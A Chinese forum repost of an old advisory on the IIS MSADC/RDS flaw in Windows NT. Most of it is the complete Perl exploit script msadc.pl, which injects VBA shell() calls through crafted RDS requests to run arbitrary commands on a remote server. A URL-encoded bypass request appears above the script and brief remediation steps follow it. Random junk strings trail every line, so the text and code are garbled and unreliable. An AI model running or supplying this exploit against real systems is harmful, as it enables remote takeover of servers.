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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) W}^X;f  
L>xecep  
涉及程序: FFC"rG  
Microsoft NT server ~)ut"4  
VINb9W}G[  
描述: 8NP|>uaj  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 i`k{}!F  
E~]37!,\\9  
详细: k5M3g*  
如果你没有时间读详细内容的话,就删除: :c03"jvYE  
c:\Program Files\Common Files\System\Msadc\msadcs.dll (r Tn6[ *  
有关的安全问题就没有了。 lqaOLZH  
,u.G6"<  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 vGX L'k  
M/?*?B  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 vca]yK<u  
关于利用ODBC远程漏洞的描述,请参看: b { M'aV  
$W_sIS0\z  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm OoIs'S-Z#  
4$W}6 v  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 .|?UqZ(,  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp W"3YA+qpI  
u7>{#]  
这里不再论述。 k`aHG8S\  
RX])#=Cs  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ec3TY<mVr  
I= '6>+P  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 5`>%{ o  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! gXy'@ !  
_|^cudRv  
a+!r5689  
#将下面这段保存为txt文件,然后: "perl -x 文件名" LZ'Y3 *  
G!<-9HA5  
#!perl Sm5 T/&z  
# BQo$c~  
# MSADC/RDS 'usage' (aka exploit) script `J l/@bE=  
# AQ)DiH  
# by rain.forest.puppy 1\u{1 V  
# A WS[e$Mt2  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me nNc>nB1  
# beta test and find errors! W]B75  
=PM6:3aKh  
use Socket; use Getopt::Std; [\BLb8  
getopts("e:vd:h:XR", \%args); B!j7vXM2  
.X.,.vHx  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; &=>|? m8  
Z%m\/wr  
if (!defined $args{h} && !defined $args{R}) { ; ElwF&"!X  
print qq~ c9/&A  
Usage: msadc.pl -h <host> { -d <delay> -X -v } %96l(JlJ)B  
-h <host> = host you want to scan (ip or domain) HI\V29 a  
-d <seconds> = delay between calls, default 1 second ;0"p)O@s04  
-X = dump Index Server path table, if available 8~!9bg6C  
-v = verbose ` zoC++hx  
-e = external dictionary file for step 5 Z%4w{T+[  
BJ*8mKi h  
Or a -R will resume a command session 1`q>*S](  
+3d.JQoKl  
~; exit;} OAiSE`  
(8Inf_59  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; &@U)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} -]~KQvIH!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *S= c0  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); -\I".8"YE  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 2~B9 (|  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } VKb=)v[K  
!kQJ6U  
if (!defined $args{R}){ $ret = &has_msadc; #E;a ;$p  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :k/Z|  
s2kom)  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" :ceT8-PBRx  
. "cmd /c "; /w/um>>K.  
$in=<STDIN>; chomp $in; GNX`~%3KYc  
$command="cmd /c " . $in ; -qs R,H  
L"[>tY  
if (defined $args{R}) {&load; exit;} 3uy^o  
W*WSjuFr2  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; J#) %{k_  
&try_btcustmr; X%R)  
U$m[{r2M  
print "\nStep 2: Trying to make our own DSN..."; {8e4TD9E0  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; :pw6#yi8`  
/r?EY&9G  
print "\nStep 3: Trying known DSNs..."; A$1Gc> C  
&known_dsn; tO~o-R  
g^)8a;/c  
print "\nStep 4: Trying known .mdbs..."; oR@1/lV  
&known_mdb; u"5 hlccH  
aB^`3J  
if (defined $args{e}){ 2]'cj  
print "\nStep 5: Trying dictionary of DSN names..."; +Ua.\1"6  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } dw YGhhm  
a0)]W%F  
print "Sorry Charley...maybe next time?\n"; LB\+*P6QM  
exit; ;=lQMKx0  
@!KG;d:l  
############################################################################## UZ-[vD1n  
n eBcS[  
sub sendraw { # ripped and modded from whisker qBF}-N_  
sleep($delay); # it's a DoS on the server! At least on mine... hOM#j  
my ($pstr)=@_; VK[`e[.C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ,cFBLj(@  
die("Socket problems\n");  YF$nL(  
if(connect(S,pack "SnA4x8",2,80,$target)){ h { M=V  
select(S); $|=1; ,/Al'  
print $pstr; my @in=<S>; s<'WTgy1i  
select(STDOUT); close(S); #McX  
return @in; '9tV-whw  
} else { die("Can't connect...\n"); }} XJ6=Hg4_O  
N?l  
############################################################################## b~Un=-@5a  
qk_YFR?R  
sub make_header { # make the HTTP request XF i!=|F  
my $msadc=<<EOT #4Ltw ,b^  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 H$!sK  
User-Agent: ACTIVEDATA /L; c -^  
Host: $ip 'q7&MM'oS^  
Content-Length: $clen hwi$:[  
Connection: Keep-Alive zOn% \  
d 6=Z=4w  
ADCClientVersion:01.06 <o: O<p@6  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Xu%8Q?]  
a+ s%9l  
--!ADM!ROX!YOUR!WORLD! $^5c8wT  
Content-Type: application/x-varg bOdQ+Y6  
Content-Length: $reqlen RN ~pC  
ppR; v  
EOT L8~zQV$h  
; $msadc=~s/\n/\r\n/g; b@ OF  
return $msadc;} PwS7!dzH-  
fp2uk3Bm[  
############################################################################## WVdF/H  
@XN*H- |  
sub make_req { # make the RDS request ;t \C!A6  
my ($switch, $p1, $p2)=@_; # 5b   
my $req=""; my $t1, $t2, $query, $dsn; 6g 5Lf)yG  
v{O(}@  
if ($switch==1){ # this is the btcustmr.mdb query &H:2TL!  
$query="Select * from Customers where City=" . make_shell(); k{E!X  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . DgGG*OXY  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} EeDK ^W8N  
gT#hF]c:  
elsif ($switch==2){ # this is general make table query _Eus7  
$query="create table AZZ (B int, C varchar(10))"; n}3fItSJ  
$dsn="$p1";} nEfQLkb[|  
i _YJq;(  
elsif ($switch==3){ # this is general exploit table query 2+}hsGnp  
$query="select * from AZZ where C=" . make_shell(); LLd5Z44v  
$dsn="$p1";} z c&i 4K  
u$ a7  
elsif ($switch==4){ # attempt to hork file info from index server ';KZ.D  
$query="select path from scope()"; P$Fq62;}r4  
$dsn="Provider=MSIDXS;";} DlxL:  
Ybp';8V  
elsif ($switch==5){ # bad query pe>[Ts`2F  
$query="select"; XG8UdR|  
$dsn="$p1";} )|`w;F>  
n1)~/ >  
$t1= make_unicode($query); 0xzS9  
$t2= make_unicode($dsn); qU+q Y2S:  
$req = "\x02\x00\x03\x00"; vxl!`$Pi  
$req.= "\x08\x00" . pack ("S1", length($t1)); C~c|};&%  
$req.= "\x00\x00" . $t1 ; O=\`q6l  
$req.= "\x08\x00" . pack ("S1", length($t2)); A9kn\U92  
$req.= "\x00\x00" . $t2 ; {"hyr/SKd  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; PGJkQsp0  
return $req;} QP<vjj%  
"4WwiI9  
############################################################################## ANlzF& K  
!d{Ijs'T  
sub make_shell { # this makes the shell() statement 2}kJN8\F  
return "'|shell(\"$command\")|'";} .M>g`UW  
RFT`r  
############################################################################## N&]_U%#Q  
+J  <<me4  
sub make_unicode { # quick little function to convert to unicode 4C`p`AQqpQ  
my ($in)=@_; my $out; UU  DZ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 1aS66TS3  
return $out;} Vy@0Got5=  
W7?f_E\>W  
############################################################################## I2e@_[ 1  
Km!~zG7<  
sub rdo_success { # checks for RDO return success (this is kludge) NzG] nsw  
my (@in) = @_; my $base=content_start(@in); *s6(1 S  
if($in[$base]=~/multipart\/mixed/){ rk< 3QXv  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} p$}1V2h;  
return 0;} #KwK``XC 4  
:za:gs0  
############################################################################## 57`9{.HB  
]udH`{]  
sub make_dsn { # this makes a DSN for us YV)h"u+@0  
my @drives=("c","d","e","f"); (i>bGmiN  
print "\nMaking DSN: "; lj"72   
foreach $drive (@drives) { ' qN"!\  
print "$drive: "; v<V9Z <ub  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . Hi#f Qji  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" LseS8F/q  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ]C5/-J,F  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 2M*84oh8P  
return 0 if $2 eq "404"; # not found/doesn't exist 7"s8G 7  
if($2 eq "200") { [Q:mLc  
foreach $line (@results) { vl:V?-sY  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} k_](u91  
} return 0;} Gp}}M Gk  
f<Xi/ (  
############################################################################## Ue!~|:  
#Y<(7  
sub verify_exists { TRku(w1f  
my ($page)=@_; N\W4LO6  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 4<q'QU#l<  
return $results[0];} gYW  
TUM7(-,9  
############################################################################## ZGC*BP/  
3#~w#Q0%  
sub try_btcustmr { +JPHQx'W  
my @drives=("c","d","e","f"); "Is0:au+?}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); S|/Za".Gr  
/=~o|-n8@  
foreach $dir (@dirs) { /..a9x{At>  
print "$dir -> "; # fun status so you can see progress ibv.M=  
foreach $drive (@drives) { ),&tF_z:  
print "$drive: "; # ditto 0/,Dy2h  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; +hz S'z)n&  
$reqlenlen=length( "$reqlen" ); %TS8 9/  
$clen= 206 + $reqlenlen + $reqlen; GCv*a[8?n  
EbMG9  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); Erq% Ck(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} @Xl/<S&  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} V8+8?5'l  
wfrSI:+>  
############################################################################## D5jZ;z}  
o 12w p  
sub odbc_error { Is#w=s}2  
my (@in)=@_; my $base; ;}QM#5Xdt  
my $base = content_start(@in); WzdE XcY  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Wv-nRDNG  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v>E3|w%  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; v8NoD_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; [ @`Ki  
return $in[$base+4].$in[$base+5].$in[$base+6];} 7$|L%Sk  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; W B7gY\Y&M  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . M\)(_I)V=  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ;ep@ )Y  
wH0Ks5  
############################################################################## Nk@ag)  
N9X`81)t  
sub verbose { Oj0,Urs7  
my ($in)=@_; m1,yf*U  
return if !$verbose; y5$AAas  
print STDOUT "\n$in\n";}   ]n (:X  
jb0LMl}/A  
############################################################################## RAi]9`*7  
~-K<gT/  
sub save { /4bHN:I]M  
my ($p1, $p2, $p3, $p4)=@_; z<z\)  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; kbKGGn4u  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; @&}~r  
close OUT;} {+^qm8n  
m5KAKpCR,  
############################################################################## _0 $W;8X  
Ry4`Q$=:  
sub load { tk~<tqMq  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; PYJ8\XZ1_N  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 5`O af\S  
@p=<IN>; close(IN); v]e6CZwo  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); n s`njx}C  
$target= inet_aton($ip) || die("inet_aton problems"); m8C scC Z}  
print "Resuming to $ip ..."; uZkh.0yB  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 'c&S%Ra[3G  
if($p[1]==1) { p!RyxB1.|  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; $hE,BeQ  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; O.^1r  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); NI33lp$V  
if (rdo_success(@results)){print "Success!\n";} VVVw\|JB>  
else { print "failed\n"; verbose(odbc_error(@results));}} 02 6|u|R  
elsif ($p[1]==3){ J'4V_Kjg-  
if(run_query("$p[3]")){ Az4a|.  
print "Success!\n";} else { print "failed\n"; }} NkL>ru!b9  
elsif ($p[1]==4){ 8*m=U@5]  
if(run_query($drvst . "$p[3]")){ x9B5@2J1  
print "Success!\n"; } else { print "failed\n"; }} V{+5Fas^l  
exit;} iIO_d4Z  
rWnZIt"  
############################################################################## U1~6o"1H  
ua HB\Uc  
sub create_table { gaa;PX  
my ($in)=@_; R@Bnrk  
$reqlen=length( make_req(2,$in,"") ) - 28; V/CZcMY_  
$reqlenlen=length( "$reqlen" ); SRBQ"X[M2  
$clen= 206 + $reqlenlen + $reqlen; 5"o)^8!>  
my @results=sendraw(make_header() . make_req(2,$in,"")); uszH1@g'  
return 1 if rdo_success(@results); G'0]m-)dw  
my $temp= odbc_error(@results); verbose($temp); U?sio%`(  
return 1 if $temp=~/Table 'AZZ' already exists/; ?VP07 dQTe  
return 0;} H;=++Dh  
QZ^P2==x  
############################################################################## N9jSiRJ  
Q]"u?Q]  
sub known_dsn { h Lv_ER?  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ,!'L~{  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", iQj2aK Gs  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", $S_G:}tna  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); "Z70 jkW[  
c>pbRUMH  
foreach $dSn (@dsns) { R#w9%+  
print "."; 3IHA+Zz  
next if (!is_access("DSN=$dSn")); [G>U>[u|  
if(create_table("DSN=$dSn")){ .L'eVLQe  
print "$dSn successful\n"; ( V^C7ix:  
if(run_query("DSN=$dSn")){ b am*&E%0K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Z9vJF.clO  
print "Something's borked. Use verbose next time\n";}}} print "\n";} [S#QGB19  
? > 7SZiC`  
############################################################################## R<AT}!mkR  
6i.!C5YX]  
sub is_access { `-QY<STTP9  
my ($in)=@_; y4Fuh nb>  
$reqlen=length( make_req(5,$in,"") ) - 28; pR*)\@ma  
$reqlenlen=length( "$reqlen" ); "? t@Y  
$clen= 206 + $reqlenlen + $reqlen; <oP"kh<D4  
my @results=sendraw(make_header() . make_req(5,$in,"")); * M,'F^E2  
my $temp= odbc_error(@results); 2,.;Mdl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); T>\ r}p  
return 0;} Sm(t"#dp  
Al1BnFB  
############################################################################## *&A/0]w  
!3 j@gi2  
sub run_query { pXBlTZf  
my ($in)=@_; Z{gJm9  
$reqlen=length( make_req(3,$in,"") ) - 28; IQya{e  
$reqlenlen=length( "$reqlen" ); @h$4Mt7N  
$clen= 206 + $reqlenlen + $reqlen; dB%q`7O  
my @results=sendraw(make_header() . make_req(3,$in,"")); "Nlw&+ c7  
return 1 if rdo_success(@results); R;2q=%  
my $temp= odbc_error(@results); verbose($temp); /ig'p53jL  
return 0;} 1j":j%9M  
u iEAi  
############################################################################## oGa8#>  
^g eC?m  
sub known_mdb { }:f \!b  
my @drives=("c","d","e","f","g"); ;S_\- ]m&g  
my @dirs=("winnt","winnt35","winnt351","win","windows"); NP_b~e6O=  
my $dir, $drive, $mdb; _b(y"+k  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; LtIw{* 3  
0X'2d  
# this is sparse, because I don't know of many ;\[ el<Y)s  
my @sysmdbs=( "\\catroot\\icatalog.mdb", '"QN{ja  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",  XBF]|}%  
"\\system32\\certmdb.mdb", z0Bw+&^]}  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% `PVr;&  
{u4=*> ?G  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", eTrIN,4  
"\\cfusion\\cfapps\\forums\\forums_.mdb", G<f"_NT  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", %@9pn1,  
"\\cfusion\\cfapps\\security\\realm_.mdb", c4AkH|  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", qJ8@A}}8  
"\\cfusion\\database\\cfexamples.mdb", 13v#  
"\\cfusion\\database\\cfsnippets.mdb", ~DJ>)pp  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", 6}aH>(3!A  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", d5z?QI  
"\\cfusion\\brighttiger\\database\\cleam.mdb", X 'W8 mqk  
"\\cfusion\\database\\smpolicy.mdb", eO?.8OM-a  
"\\cfusion\\database\cypress.mdb", 5C&]YT3 )  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", j9XRC9   
"\\website\\cgi-win\\dbsample.mdb", eYD|`)-f<^  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", `3KXWN`.s  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" _T)G?iv:&  
); #these are just 2A^>>Q/,u  
foreach $drive (@drives) { \vR&-+8dk  
foreach $dir (@dirs){ +o94w^'^$b  
foreach $mdb (@sysmdbs) { Z F&aV?  
print "."; a&*fk?o  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ 43p0k&;-7  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; f3u^:6U~  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ M*x1{g C/  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ous_269cM  
} else { print "Something's borked. Use verbose next time\n"; }}}}} UNB'Xjp}@  
A,4|UA?-  
foreach $drive (@drives) { {vL4:K  
foreach $mdb (@mdbs) { Ka$YKY,  
print "."; [EX@I =?  
if(create_table($drv . $drive . $dir . $mdb)){ /v^1/i  
print "\n" . $drive . $dir . $mdb . " successful\n"; q=H dGv  
if(run_query($drv . $drive . $dir . $mdb)){ 9N kr=/I"P  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^Cm9[1p  
} else { print "Something's borked. Use verbose next time\n"; }}}} 2kS]:4)T  
} ARt+"[.*p  
OB{d^e}  
############################################################################## B]xZ 4 Y  
'@epiF&  
sub hork_idx { 2V*<HlqOif  
print "\nAttempting to dump Index Server tables...\n"; RIDzNdM>U  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; }hPFd  
$reqlen=length( make_req(4,"","") ) - 28; $B3<"  
$reqlenlen=length( "$reqlen" ); |9X$@R  
$clen= 206 + $reqlenlen + $reqlen; I2R" Y<  
my @results=sendraw2(make_header() . make_req(4,"","")); G?t<4MT v  
if (rdo_success(@results)){ yK #9)W-  
my $max=@results; my $c; my %d; jhN]1t /\X  
for($c=19; $c<$max; $c++){ :@H&v%h(u  
$results[$c]=~s/\x00//g; ",hPy[k  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 5[py{Gq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Qq.ht  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; xpb,Nzwt^  
$d{"$1$2"}="";} NLz[ F`I  
foreach $c (keys %d){ print "$c\n"; } E>}(r%B  
} else {print "Index server doesn't seem to be installed.\n"; }} +oT/v3,  
`qnNEJL,  
############################################################################## 4%(\y"T  
[A.ix}3mm  
sub dsn_dict { scsN2#D7U/  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); rh6gB]X]3:  
while(<IN>){ yX'f"*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; uV@#;c4  
next if (!is_access("DSN=$dSn")); /7)l22<  
if(create_table("DSN=$dSn")){ L/U^1=Wi*O  
print "$dSn successful\n"; \:To>A32  
if(run_query("DSN=$dSn")){ v9<'nU WVR  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { l|z0aF;z  
print "Something's borked. Use verbose next time\n";}}} E W {vF|  
print "\n"; close(IN);} :=iP_*#  
8?> #  
############################################################################## vl "l  
cen[|yCtOH  
sub sendraw2 { # ripped and modded from whisker XmK2Xi;=b  
sleep($delay); # it's a DoS on the server! At least on mine... bAsoIra  
my ($pstr)=@_; 4zRz U  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || i`Tp +e@a>  
die("Socket problems\n"); I)B+h8l72<  
if(connect(S,pack "SnA4x8",2,80,$target)){ K>tubLYh  
print "Connected. Getting data"; "\x<Zg;  
open(OUT,">raw.out"); my @in; #'@pL0dj  
select(S); $|=1; print $pstr; 8{t^< j$n  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} J ^y1=PM  
close(OUT); select(STDOUT); close(S); return @in; gNsas:iGM  
} else { die("Can't connect...\n"); }} @]rl2Qqe  
nF Mc'm  
############################################################################## d=q&% gqN  
M_+"RKp  
sub content_start { # this will take in the server headers w Bi'KS  
my (@in)=@_; my $c; $hn=MOMc  
for ($c=1;$c<500;$c++) { j0XS12eM  
if($in[$c] =~/^\x0d\x0a/){ 7Ntt#C;]U  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } OVo3.  
else { return $c+1; }}} _>G.  
return -1;} # it should never get here actually \%qzTk.&r  
TspuZR@2  
############################################################################## su/!<y  
.}wVM`81z  
sub funky { q, 8TOn  
my (@in)=@_; my $error=odbc_error(@in); oV(|51(f  
if($error=~/ADO could not find the specified provider/){ X4c|*U=4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; EU@ BNja  
exit;} RWe$ZZSz!  
if($error=~/A Handler is required/){ '\ MYC8"  
print "\nServer has custom handler filters (they most likely are patched)\n"; sUCI+)cM3  
exit;} >;$C@  
if($error=~/specified Handler has denied Access/){ cIL I%W1  
print "\nServer has custom handler filters (they most likely are patched)\n"; co93}A,k  
exit;}} &tAhRMa  
<K(qv^C  
############################################################################## t+ ,'  
Qcy /)4Hfg  
sub has_msadc { LkUYh3  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "}ms|  
my $base=content_start(@results); <? Z[X{  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); \ r^#a  
return 0;} *[P"2b#  
g[NmVY-o  
######################## &!xePKvO6k  
ko2T9NI:S  
YKUb'D:t]  
解决方案: b-d{)-G{(  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll =02$Dwr  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 OH(w3:;[8  
u n)YK  
拿出来充数 哈哈
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